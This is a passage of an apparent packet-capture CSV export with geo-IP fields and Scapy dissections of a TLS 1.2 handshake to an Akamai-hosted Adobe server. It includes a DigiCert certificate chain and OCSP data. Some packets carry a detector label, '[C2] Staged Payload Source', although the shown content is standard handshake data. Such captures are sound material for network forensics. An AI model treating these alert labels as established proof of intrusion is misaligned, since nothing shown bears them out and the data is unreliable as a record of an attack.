Ack=1308797360,bc2411360d0cbc24112907bb080045000b98a06f4000400696e9b81e9d450a98980b01bbf9ca20f64b1e4e02a9b05018003f039200001603030049020000450303f8e314b39d777497bbf915d49f06af20ca00fb065c634c2c444f574e4752440100c02c00001dff0100010000000000000b0004030001020023000000050000001700001603030b9f0b000b9b000b980006c6308206c2308205aaa00302010202100d1db5a6166fdff6cdac0795531b6d24300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303631353030303030305a170d3236313233303233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200047c965653af23535065689437a484bccd27eca7e0b468a8ddd498a3e2e108271b91c244972008ef7c6f7274ea4044661d86d828a6a0f36c6e88e1192c6842a8dfa38204403082043c301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604143f2eb02baa3c0b6dbf5dcfcbad49b6a9323c037b3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e657482196173736574732e61646f62657265736f75726365732e6e6574821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff0402300030820181060a2b06010401d679020402048201710482016d016b007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019ecc2f63110000040300483046022100e2580cbaa28604ba7651130daa174e113907a011dd92ccde031bb59a72ac2ee9022100e7b0646b28686aaefb8690078eda2174ece35e2f77deb68c14821f4eea18fa35007700d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019ecc2f631b0000040300483046022100d727bcb4bddd87111cd5d94d49807ceaedd3dc7215bc6c95c5f27e20ce83947602210091ae0e0c6b9b61e4fdce4f33141ebecfd872d52d0b5ff3e90fe332fef8df5383007700944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019ecc2f63190000040300483046022100a37e5eb129c61b639681d08855712eda39a18b9457fd486db50317d285907023022100ed188ece690957414ff8359d321c4f91ff735b56cb9058b894ec6289d7dd6f74300d06092a864886f70d01010b050003820101002b0961bf58c61ade4d375bc1b88f547c903ac003b11d011ecfe2a57936dbb7d3ff7bc803f9d36bf99eb13bd27f6dfce38535f238854c84696f653a3fceaf8fe07ffe7fda0ff3741e4f15f112e63a095fff99a03bef7c7d9fdf32a3e4f31e2312a5c0da2569b39b4161a4d4b9f45646ccc1d769da0a9803788248594eb837f9c8a542770e5fa4af724ce21547208d7cfb0fcf7b05c509472e876630f6188f243d7acdcbd27c0ceed7694d248c24dec8c5846dd5868bb3b1d7686c080b0d5bd419c35568557256b22bf36e226756ee65d52e51ee328003f3ae6b496c1ac73bdf49e5abe79d230cca477019ab534bb22887b59f9ce814da5c73abc989a278acf1ea0004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d29,\".$.6\n..$.)....E....o@.@......E\n....... .K.N...P..?........I...E.......wt........ ....\\cL,DOWNGRD...,.....................#.........................0...0..........\n....o......S.m$0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260615000000Z.\n261230235959Z0h1.0\t..U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..|.VS.#SPeh.7....'....h........'...D. ..|ort.@Df...(...ln...,hB.....@0..<0...U.#..0...t...f..7...)7.......0...U......?..+.<.m.]...I..2<.{0....U.....0....assets.adobedtm.com..magento-recs-sdk.adobe.net..assets.adoberesources.net..cdn1-staging.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0....\n+.....y......q...m.k.w..1~WE..E..8...A...!Z\"\".....v...R....../c......H0F.!..X......vQ.\n..N.9...........r....!...dk(hj.......!t..^/w......N...5.w..\tU;.Oz....o.O.....^.U&....r.EK....../c......H0F.!..'.........MI.|....r..l...~ ...v.!.....k.a...O3.....r.-._....2...S..w..NC........$&..e..._8..?rg}U7......../c......H0F.!..~^.)..c....Uq..9...W.Hm......p#.!.....i\tWAO.5.2.O..s[V..X...b...ot0\n.\t*.H..\n..........+\ta.X...M7[...T|.:.........y6....{....k...;..m...5.8.L.ioe:?..........t.O....:\t_...;.|}..2....#....%i..Aa....VF...i.\n..x.HYN.7...Bw._..rL..G .|...{..\tG..f0...$=z...|...iM$.$....m......hl..\n[...UhUrV.+.n\"\"gV.e..Q.2....kIl..;.I....#..Gp..SK.(.......\\s....x......0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2968, \"\"id\"\": 41071, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38633, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553011998, \"\"ack\"\": 1308797360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 914, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 73, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=69 version=TLS 1.2 gmt_unix_time=Fri, 28 Apr 2102 01:38:59  (4175631539) random_bytes=9d777497bbf915d49f06af20ca00fb065c634c2c444f574e47524401 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 comp=null extlen=29 ext=[<TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=4 ecpllen=3 ecpl=[uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_CSR  type=status_request len=0 |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603030b9f0b000b9b000b980006c6308206c2308205aaa00302010202100d1db5a6166fdff6cdac0795531b6d24300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303631353030303030305a170d3236313233303233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200047c965653af23535065689437a484bccd27eca7e0b468a8ddd498a3e2e108271b91c244972008ef7c6f7274ea4044661d86d828a6a0f36c6e88e1192c6842a8dfa38204403082043c301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604143f2eb02baa3c0b6dbf5dcfcbad49b6a9323c037b3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e657482196173736574732e61646f62657265736f75726365732e6e6574821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff0402300030820181060a2b06010401d679020402048201710482016d016b007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019ecc2f63110000040300483046022100e2580cbaa28604ba7651130daa174e113907a011dd92ccde031bb59a72ac2ee9022100e7b0646b28686aaefb8690078eda2174ece35e2f77deb68c14821f4eea18fa35007700d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019ecc2f631b0000040300483046022100d727bcb4bddd87111cd5d94d49807ceaedd3dc7215bc6c95c5f27e20ce83947602210091ae0e0c6b9b61e4fdce4f33141ebecfd872d52d0b5ff3e90fe332fef8df5383007700944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019ecc2f63190000040300483046022100a37e5eb129c61b639681d08855712eda39a18b9457fd486db50317d285907023022100ed188ece690957414ff8359d321c4f91ff735b56cb9058b894ec6289d7dd6f74300d06092a864886f70d01010b050003820101002b0961bf58c61ade4d375bc1b88f547c903ac003b11d011ecfe2a57936dbb7d3ff7bc803f9d36bf99eb13bd27f6dfce38535f238854c84696f653a3fceaf8fe07ffe7fda0ff3741e4f15f112e63a095fff99a03bef7c7d9fdf32a3e4f31e2312a5c0da2569b39b4161a4d4b9f45646ccc1d769da0a9803788248594eb837f9c8a542770e5fa4af724ce21547208d7cfb0fcf7b05c509472e876630f6188f243d7acdcbd27c0ceed7694d248c24dec8c5846dd5868bb3b1d7686c080b0d5bd419c35568557256b22bf36e226756ee65d52e51ee328003f3ae6b496c1ac73bdf49e5abe79d230cca477019ab534bb22887b59f9ce814da5c73abc989a278acf1ea0004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d29\"\"}}]\"\n2026-06-28 14:01:41.822910,7,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1308797360 Ack=553014926,bc24112907bbbc2411360d0c0800450000282fb240008006d3160a98980bb81e9d45f9ca01bb4e02a9b020f6568e501020142cfc0000,\".$.)...$.6\n...E..(/.@.....\n......E....N... .V.P. .,...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12210, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54038, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797360, \"\"ack\"\": 553014926, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 11516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:41.870620,8,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=553014926 Ack=1308797360,bc2411360d0cbc24112907bb080045000330a072400040069f4eb81e9d450a98980b01bbf9ca20f6568e4e02a9b05018003ffb2900001ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632363139323033335a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100d1db5a6166fdff6cdac0795531b6d248000180f32303236303632363139303330305aa011180f32303236303730333138303330305a300d06092a864886f70d01010b05000382010100816be7a5a5014d564992bd9e34aaf312c139f465e1eb75a2f1ad8b2b4d0948749e0474e994eda0c9647cdbd58453f49d1e2745a8da52d45a55b30ff86d27e13c8f04dffa8bb4a4fabf400979e0506101610b3dcc064b53c7c8d24c8a05f5faa2b70424886e5482504cc44172e9fa9b81e8a9221b07834b0a1662e99633fadccecdab07a86a5b1dc9fe00605590a40e87cee668e8ff5e2aa7f0ba6b18cc4a271283ca9804d073dad9851b66c77a81314e9ab91e7777079bfba87c448871362690228492aa91e1d44640ada86aa65d6d52fdc42e8457691e1b80e86e685086d876c66af7efa87bd5fd56e4792a8fd37a196d289c50b47132444ee12e2710fa021c16030300940c00009003001741041e26084fc46f2773b9a7601421c14a7424bf9781f31ad33c6e114480df327047600f1277b87bbb96d5b5ec0600b274594749d3a0b9a6b4be8811e1ccbd5db3a20403004730450220336cf0b9c968ff1adacef5d5f8ee882c0cfbad8909eca607498e8f763c857c80022100de30a8604c895053af44d35a2439cf83a1e7e492a90eb7e25766a05f86aed28616030300040e000000,\"..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@................0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260626192033Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.........\n....o......S.m$....20260626190300Z....20260703180300Z0\n.\t*.H..\n...........k....MVI...4....9.e..u....+M\tHt..t.....d|...S...'E..R.ZU...m'.<.........@\ty.Pa.a.=..KS...L.......$.nT.PL.Ar......\"\"...K\n.b..3.......j[....`U......h..^*...k..J'......s....f.z.1N...ww....|D.q6&.\"\"......F@..j.]mR....Wi....nhP..v.j...{..V.y*..z.m(.P.q2DN..'................A..&.O.o's..`.!.Jt$......<n.D..2pG`..w.{........tYGI...........].....G0E. 3l...h.........,....\t...I..v<.|..!..0.`L.PS.D.Z$9..........Wf._.............\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 816, \"\"id\"\": 41074, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 40782, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553014926, \"\"ack\"\": 1308797360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 64297, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"1ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632363139323033335a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100d1db5a6166fdff6cdac0795531b6d248000180f32303236303632363139303330305aa011180f32303236303730333138303330305a300d06092a864886f70d01010b05000382010100816be7a5a5014d564992bd9e34aaf312c139f465e1eb75a2f1ad8b2b4d0948749e0474e994eda0c9647cdbd58453f49d1e2745a8da52d45a55b30ff86d27e13c8f04dffa8bb4a4fabf400979e0506101610b3dcc064b53c7c8d24c8a05f5faa2b70424886e5482504cc44172e9fa9b81e8a9221b07834b0a1662e99633fadccecdab07a86a5b1dc9fe00605590a40e87cee668e8ff5e2aa7f0ba6b18cc4a271283ca9804d073dad9851b66c77a81314e9ab91e7777079bfba87c448871362690228492aa91e1d44640ada86aa65d6d52fdc42e8457691e1b80e86e685086d876c66af7efa87bd5fd56e4792a8fd37a196d289c50b47132444ee12e2710fa021c16030300940c00009003001741041e26084fc46f2773b9a7601421c14a7424bf9781f31ad33c6e114480df327047600f1277b87bbb96d5b5ec0600b274594749d3a0b9a6b4be8811e1ccbd5db3a20403004730450220336cf0b9c968ff1adacef5d5f8ee882c0cfbad8909eca607498e8f763c857c80022100de30a8604c895053af44d35a2439cf83a1e7e492a90eb7e25766a05f86aed28616030300040e000000\"\"}}]\"\n2026-06-28 14:01:41.874956,9,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=1308797360 Ack=553015702,bc24112907bbbc2411360d0c0800450000a62fb340008006d2970a98980bb81e9d45f9ca01bb4e02a9b020f6599650182011acc70000160303004610000042410433b34f4f763df34b8ec2b9747f52ed42685a9391f655e85985c805c9a1cd221a94321f54c39360be2624f3d19a1323b3c42b174faa114a6b1670388a089135a314030300010116030300280000000000000000bf7bc5b747c239451c990f9307700ae6175a8e59bf468c99517a82348294198f,\"A.3.OOv=.K...t.R.BhZ...U.Y......\"\"..2.T..`.&$....#..+.O..Jk.p8...5.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 166, \"\"id\"\": 12211, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53911, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797360, \"\"ack\"\": 553015702, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 44231, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 70, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=66 exchkeys=<Raw  load=b'A\\\\x043\\\\xb3OOv=\\\\xf3K\\\\x8e\\\\xc2\\\\xb9t\\\\x7fR\\\\xedBhZ\\\\x93\\\\x91\\\\xf6U\\\\xe8Y\\\\x85\\\\xc8\\\\x05\\\\xc9\\\\xa1\\\\xcd\\\"\"\\\\x1a\\\\x942\\\\x1fT\\\\xc3\\\\x93`\\\\xbe&$\\\\xf3\\\\xd1\\\\x9a\\\\x13#\\\\xb3\\\\xc4+\\\\x17O\\\\xaa\\\\x11Jk\\\\x16p8\\\\x8a\\\\x08\\\\x915\\\\xa3' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  